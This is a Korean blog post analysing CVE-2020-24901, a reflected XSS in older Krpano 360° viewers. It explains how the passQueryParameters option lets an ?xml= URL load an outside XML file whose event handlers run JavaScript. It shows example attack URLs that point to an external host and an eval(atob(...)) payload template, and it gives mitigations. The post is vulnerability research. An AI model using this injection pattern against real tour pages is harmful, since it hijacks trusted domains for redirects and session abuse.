Everything is hacked.

There is no 100 % security.

CVE Analyze/CVE-2020-24901

CVE-2020-24901 - Analyze Point

Kai_HT 2026. 8. 3. 12:47

CVE-2020-24901

 

CVE-2020-24901

약 1년 안쪽으로 정보를 구글에 검색하다보면 연관이 없는 사이트들의 이상 링크가 도출되는 경우가 있었다.예를 들어 pxrn 을 검색한다고 했을 때, 다음과 같은 결과를 얻을 수 있다.해당 검색

tistory.kaiht.kr

▲ 이전에 분석한 CVE-2020-24901 (Krpano Reflected XSS) 보러가기

이전에 360XSS 로 유명한 CVE-2020-24901 에 대한 취약점이 터지는 이유와 이슈화된 이유에 대해서 작성했다. 구글링 이라는 행위가 일반인들의 하나의 일상이 되었다. 구글링을 일상에서 자주 사용하는게 나 뿐만 아니라 IT 이외 사람들에게도 해당된다는 의미다. 그렇기에 본인이 구글 검색창을 이용하면서도 의구심을 가졌었으며, 대체 왜 이슈가 되지 않았었을까 싶었다. 아무래도 사용자를 대상으로 데이터 유출 등에 대한 공격이 아닌 위 게시글에 나와있다시피 광고 사이트에 대한 조회 수를 늘려 공격자 본인들의 수익을 높이게 함이 아닐까 싶다.

본인도 의아해하다가 유튜버 노말틱님의 영상을 보고 "아 이거구나" 싶긴했다. 

이전에 이미 해당 취약점이 왜 취약점이 터지고, 어떤 것을 목적으로 했는지 서술했으니 이번엔 Krpano 구조 내 어디에서 어떻게 터지는지 조금 더 파보면서 작성할 예정이다.

필자는 Krpano 와 같은 프레임워크 분석 시, 다음과 같은 순서를 우선적으로 따른다.

  1. 진입점 확인
  2. 데이터 경로 추적
  3. 실행 권한 생성 구간
  4. 편의 기능이 보안이 요구되는 구간을 패싱하는지

본격적으로 본 취약점을 분석하기 앞서, 굉장히 난해하고 뭐가 많으며 어려운 Krpano 구조를 먼저보기보단 우선 우리가 상상의 나래를 펼치기 편한 공격 시나리오를 도식화한 청사진 한번 보도록 하자.

이전 글에서도 작성한 순서를 순서도 형식으로 작성하였다. 해당 공격에 대한 시나리오는 다음과 같다.

  1. 사용자가 구글에서 특정 키워드를 검색
  2. 신뢰 도메인 (대학, 호텔, 정부기관 등에서 사용하는 360° 건물 투어페이지가 검색결과로 노출
  3. 사용자, 검색된 링크를 클릭
  4. URL 내 작성된 xml 파라미터로 인하여 외부 악성 XML 이 로드
  5. 로그된 외부 XML 이벤트 헨들러가 실행, 공격자가 원하는 JS가 해당 도메인 (신뢰된) 에서 Origin 에서 호출된 외부 악성 XML 코드 동작

해당 취약점이 발생하게 된 경위는 근본적으로 취약 버전 Krpano 가 URL 파라미터를 내부 설정으로 직접적 포함하여 실행하는 기능을 편의 목적으로 제공하기 때문이다. 해당 취약점이 실행되는 순서를 확인하였으니 내부 구조를 좀 더 뜯어보자.


취약점 설명 이해를 위해선 뷰어가 어떤 방법으로 HTML 페이지 내 삽입되는지 확인해야한다. 
단순한 라이브러리 호출이 아닌 어떤 객체가 생성되며, 어떤 설정이 전달되고, 또 그 설정이 취약점으로 어떤 방향으로 이어지는지 순서가 중요할 것이다.

1. 뷰어 삽입 과정 (embedpano)

일반적인 웹 페이지 (HTML) 에서 Krpano 를 사용하는 방식은 대략 다음과 같다.

<!-- 1. krpano 스크립트 로드 -->
<script src="krpano.js"></script>

<!-- 2. 뷰어가 들어갈 컨테이너 준비 -->
<div id="pano" style="width:100%; height:100%;"></div>

<!-- 3. 뷰어 삽입 -->
<script>
  embedpano({
    xml: "tour.xml",           // 시작할 설정 파일
    target: "pano",            // 삽입할 div의 id
    passQueryParameters: true, // (구버전에서 자주 사용)
    id: "krpanoSWFObject"      // 내부 객체 id
  });
</script>

Krpano 사용을 위해 호출되는 embedpano() 함수는 페이지 호출 후 다음과 같은 동작을 하게 된다.

  • target 으로 지정한 HTML 요소 (보통 <div>로 설정) 내 krpano 뷰어 인스턴스를 생성 및 삽입
  • xml 파라미터로 지정된 설정파일 (혹은 덮어씌울 XML) 로드 준비
  • 내부에서 랜더링 엔진 (WebGL or CSS 3D), 변수 시스템, 이벤트 시스템, 액션 인터프리터 등을 초기화
  • onready 콜백이 존재하는 경우, 뷰어의 완전 준비 후 실행

해당 함수는 단순한 스크립트 실행이 아닌, 특정 div 내 독립적인 360° 뷰어 객체 (인스턴스)를 선언하고, 그 객체 내 초기 설정을 전달하는 과정이라고 볼 수 있다.

2. Krpano 계층 구조

Krapano Architecture

Krpano 의 경우 다음 계층들로 나눌 수 있다.

1. HTML 페이지
    embedpano() 함수를 호출, 뷰어에 HTML 페이지 삽입
2. Krpano Viewer Core
    실제 360° 렌더링과 설정을 담당하는 핵심 코어. 렌더링/입력 처리/전체 생명주기 관리
3. Variable System
    passQueryPrameters 가 동작하는 지점으로 URL Query String 을 파싱하여 내부 변수로 등록
4. XML Loader / Parser
    설정 XML (외부 XML 포함)을 로드하고 파싱
    xml 파라미터가 해당 구간에서 초기 설정 파일 경로 결정이 가능함.
5. Action Interpreter & Event System
    XML 에 정의된 onstart, onloaded, onxmlcomplete 와 같은 이벤트와 <action> 실행
6. JavaScript Bridge
    js(), jscall(), type="Javascript" 액션 등을 통한 브라우저 실제 JavaScript 실행 컨텍스트 및 연결

이 과정부터 계층구조를 순서대로 확인했다면, 결국 외부에서 전달된 문자열이 최종적으로 동일 Origin에서 JavaScript 실행 하게된다는 점을 알 수 있다.

3. Krpano 프레임워크 분석

앞서 필자가 프레임워크 분석 시, 따르는 순서를 Krpano 취약점에 대입해보면

  1. 진입점 확인
    embedpano() 의 HTML 요소 내 Krpano 뷰어 인스턴스 생성 및 삽입, XML 파라미터로 지정된 파일 로드준비, 시스템 내부 초기화. 즉, 초기설정 전달
  2. 데이터 경로 추적
    URL 파라미터 → 내부 변수 → XML 경로 설정 → XML 파싱 → 이벤트 실행
  3. 실행 권한 생성 구간
    외부에서 호출된 XML코드가 최종적으로 동일 Origin 과 입력된 컨텍스트에서 실행
  4. 편의 기능이 보안이 요구되는 구간을 패싱하는지
    딥링크 등을 위한 기능이 외부 입력을 무작정 신뢰하여 사용자에게 전달 및 외부코드 실행

가 된다. 결국 방법론적으로 사용자 편의성을 위해 넣은 기능이 전달되는 값에 대한 구조적 검증 미흡으로 터진 문제라 볼 수 있겠다.


passQueryParameters

embedpano() 함수를 호출하는 경우, 다음과 같이 설정이 가능하다.

embedpano({
  xml: "tour.xml",
  target: "pano",
  passQueryParameters: true   // 구버전에서는 true가 기본 템플릿에 주로 들어감
});

passQueryParameters 가 활성화 되는 경우, 뷰어는 페이지 로드 시점에서 window.location.search 를 직접 읽어들이고, key=value 형태 파라미터를 내부 변수 시스템 내 문자열 그대로 등록한다.

해당 내용을 쉽게 예시를 들어보자.

https://helloworld.com/tour/?xml=https://redsec.kaiht.kr/360XSS.xml?id=kai_ht

위 URL이 embedpano() 함수로 인하여 호출된 경우, 뷰어 내부에 다음과 같은 변수들이 생성된다.

  • xml = "https://redsec.kaiht.kr/360XSS.xml"
  • id = kai_ht

내부에 입력된 xml 파라미터는 임의 변수가 아니라 뷰어가 처음 로드할 때 XML 경로를 덮어쓰는 특수 파라미터로 동작하게 된다. 그러니까 embedpano() 함수에서 지정한 xml: "tour.xml" 값이 아닌 Query String 의 xml 값우선 적용이되는 것이다.

Krpano 의 구버전 (1.20.8 이하) 과 일부 설정에서 해당 값에 대한 Origin 제한이나 추가 검증 구간이 없어 외부 도메인의 XML 파일을 곧이곧대로 불러오기가 가능하였다.


XML 로드 및 파싱 과정

  1. xml 파라미터 값 결정 이후, 뷰어는 전달된 URL 로 XML 파일을 요청
  2. 받아온 XML 을 프레임워크 내 자체 파서로 해석
  3. <krpano>, <scence>, <action>, <events>, <hotspot> 등 요소를 내부 객체로 변환
  4. 각 요소 속성 (Attribute) 은 해당 객체의 프로퍼티로 맵핑

여기서의 핵심은 Krpano XML 문서 인데, 해당 문서는 단순 데이터만 존재하는 xml 파일이 아닌 실행 가능 액션코드 및 이벤트를 포함하는 파일이라는 것이다. 그러니까 설정 파일임과 동시에 스크립트 역할을 한다는 것이다.


이벤트 및 액션 실행 방식

Krpano 내에는 여러 생명주기를 가지는 이벤트가 존재한다.

  • onstart
  • onxmlcomplete
  • onloadcomplete
  • onloaded (레이어 및 핫스팟 등 로드 완료 시)

해당 이벤트들은 XML 속성으로 정의되는데, 다음 코드 라인처럼 정의되게 된다.

<krpano onloaded="액션_코드">
  ...
</krpano>

해당 이벤트가 발생하게 되면 액션 인터프리터가 해당 문자열을 포함시켜 순차적으로 진행하는데, 액션 언어는 자체 문법을 가지고 있으나, 다음 서술될 방법으로 브라우저 JavaScript 와 연결된다.

  • js(지정함수 명)
  • jscall(JavaScript 코드)
  • type="Javscript" 로 선언된 <action>

위 방법들을 기준으로 360XSS 캠페인 내 자주 사용된 패턴은 대략 이런 형태이거나, jscall 및 Javascript 타입 액션을 통해 동일한 효과를 내는 방식이였다.

<krpano onloaded="eval(atob('BASE64 인코딩 JS코드'))">

결과적으로 외부에서 주입된 임의 코드가 신뢰할 수 있는 사이트, 그러니까 Krpano 프레임워크를 사용중인 페이지의 Origin 에서 실행되어 Reflected XSS가 성립하는 포인트라고 할 수 있다.


전체 시나리오 흐름 정리

  1. 일반 사용자 (구글 내 검색엔진 이용한 사용자 등)가 Google 내 주입된 악성 URL을 클릭
    - ?xml=https://redsec.kaiht.kr/payload.xml 형태
  2. passQueryParameters 가 Query String 을 파싱, 내부 변수로 등록
    xml 변수가 파라미터 값으로 전달된 외부 악성 XML 경로로 지정
  3. 뷰어가 전달된 외부 XML을 로드하고 파싱
  4. XML 파싱이 완료된 경우, onloaded 혹은 onxmlcomplete 등의 이벤트가 실행
  5. 액션 인터프리터, 이벤트 내 지정된 코드를 실행
  6. js() / jscall() / eval 등으로 실제 자바스크립트 코드가 브라우저 내에서 실행
  7. 실행된 코드는 신뢰 도메인 (Krpano가 실행중인 도메인)의 권한을 가지고 동작
    광고 페이지로의 리다이렉트나 스팸 컨텐츠 삽입, SEO 포지셔닝 등

 

Krpano 에서 사용하는 passQueryParameters 는 Deep Linking, 그러니까 딥링크 기능을 쉽게 만들기 위함이였으며 해당 기능의 목적은 다음과 같다고 추론해볼 수 있다.

  • ?startscnece=scence3&h=45&v=-10 등의 형식처럼 URL만으로 특정 장면과 시점을 지정하고 싶은 경우
  • 개발자가 매번 자바스크립트로 쿼리 문자열을 파싱할 필요 없이, 내부 변수를 바로 쓰고 싶었을 경우

물론 편의성 및 자동화를 생각한 아이디어는 좋았으나, 결과적으로 입력 값 검증과 Origin 제한이 부족하여 발생한 취약점이라고 볼 수 있겠다. 특히 XML 파라미터가 설정 파일 전체의 출처를 외부에서 끌어다 사용이 가능하게 되면서, 외부에서 완전한 임의 설정 파일 및 실행코드를 주입할 수 있는 공격 벡터가 생긴 것이다.

Krpano 에서 해당 문제를 인지하였었는지 1.20.10 버전에서 passQueryParameters: true 설정이 삭제되고 본 사이트 개발자 및 관리자가 직업 지정해주는 allowlist 방식을 도입하였으나, 해당 설정 내 XML 형식을 allowlist 내 포함시켜 놓은 경우 공격자가 XML 파일을 ?xml=https://redsec.kaiht.kr/payload.xml 형태로 외부 XML을 포함시키는 방법으로 여전히 공격이 가능하여 취약했다.

최종적으로는 1.22.4 및 1.20.12 버전에서 passQueryParameters:true 자체를 제거하고 외부 URL 및 data-URL 에 대한 제한을 걸어 본 문제를 해결하였다.


취약점 결론

 

기본적으로 Krpano 프레임워크의 경우, 사용자에게 js 를 전달하여 실행시켜 서비스 입장에서 보다 편리하게 건물의 구조나 내부 위치를 안내할 수 있으나 결국엔 프론트 프레임워크를 사용하지만 서버 내 임의 데이터 전달이 가능하여 발생하는 취약점이였으며 필자는 Log4jreact2shell 과 어느정도 비슷한 느낌으로 보고 있다.

물론 Krpano는 IT 사용자들만 사용하거나 파악할 수 있는 것이 아닌 일반 사용자 단에서부터 전달 파라미터를 변조함으로써 공격이 가능하다는게 다르긴 하지만, 서버 단의 입력 값 검증이 수행되지 않는다 라는 사실은 변치않으니까.

이전 게시글에서 XXE가 가능하다는 취지로 작성하였으나 이는 잘못된 정보로 정정한다.

본 취약점에 대한 XML 처리는 서버가 아닌 브라우저, 사용자 단에서 수행된다. Krpano 의 자바스크립트 기반 파서가 XML을 읽고, XML 내 작성된 onload 와 같은 이벤트 및 액션을 실행시키는 구조다.
- 애초에 Krpano 프레임워크는 브라우저에서 실행되는 클라이언트 사이드 Javascript 프레임워크다.

일반적으로 XXE는 서버 사이트 XML 파서가 External Entity 값을 불러와 읽는 경우 발생하게 된다. (서버 파일 읽기나 SSRF 등) 하지만 Krpano 클라이언트의 파서의 경우, 설정과 액션 실행을 위해 존재하는 것이기에 당연하게도 Well-Known (알려진)공격이나 문서에서 XXE를 악용한 사례가 존재하지 않는다. 따라서 해당 CVE를 통해 서버 파일을 읽거나 SSRF를 수행하는 포인트가 되는 XXE와는 근본적으로 다르다.

다만. 해당 포인트에서 피해자가 본 사이트 내 로그인을 한 경우 파일 업로드 API를 호출 (CSRF) 하거나 XSS360 공격에서 주된 목적으로 이용된 페이지 변조나 리다이렉트, 스팸 삽입등에 대한 공격으로 이어질 가능성은 존재한다.
- 그러니까 XSS를 이용한 연계공격으로 봐야한다.

즉, 위 취약점의 핵심은 피해자 브라우저 단에서 동작하며, 신뢰할 수 있는 도메인 Origin Context에서 외부 주입 설정 및 스크립트가 실행된다는 점이다.

취약점 대응 가이드 관련

그렇다면 해당 공격을 HttpOnly 및 Secure 설정만으로 접근 제어 불가하게 가능할지 궁금할 수 있다.

HttpOnly 는 스크립트 단에서 document.cookie로 쿠키 값을 읽는 것을 차단하고 Secure 은 HTTPS 에서 쿠키가 전송되도록 한다. 하지만 실질적으로 쿠키 값에 대한 탈취 및 전송이 불가하더라도 여전히 공격자는 다음 행위가 가능하다.

  • 피해자 브라우저 세션을 이용한 정상 요청 전송 (CSRF 관련)
  • 페이지 내용 변조 및 가짜 입력 폼 삽입 (클라이언트 단 내 코드 삽입 가능)
  • localStoragesessionStorage 등 다른 저장소 값 탈취
  • 악성 사이트로의 리다이렉트

모든 XSS가 마찬가지겠지만 XSS로 인한 쿠키 값 탈취에 대한 보호로 일부 영향이 완화가 될 뿐이지 XSS자체를 막을 수 있는 근본 수단은 아니라는 것을 염두해야하며, 입력 값 검증과 외부 리소스 로드 제한이 Krpano 취약점 대응 방안이라고 봐야한다.

요약

여부 결론
XXE 가능 여부 클라이언트 사이드 파서로 실질적으로 불가함.
파일 업로드 2차 공격 직접적인 업로드는 불가하며, XSS를 이용한 API 호출 등으로 2차 연계 공격으로 악용은 가능
서버 내 문자열 실행 문제 여부 클라이언트 사이드 XSS가 본질이라 서버에서 실행이 문제가 아님.
HttpOnly / Secure Flags 쿠키 보호만 수행할 뿐, 여전히 XSS 가능

'CVE Analyze > CVE-2020-24901' 카테고리의 다른 글

CVE-2020-24901  (0) 2026.07.07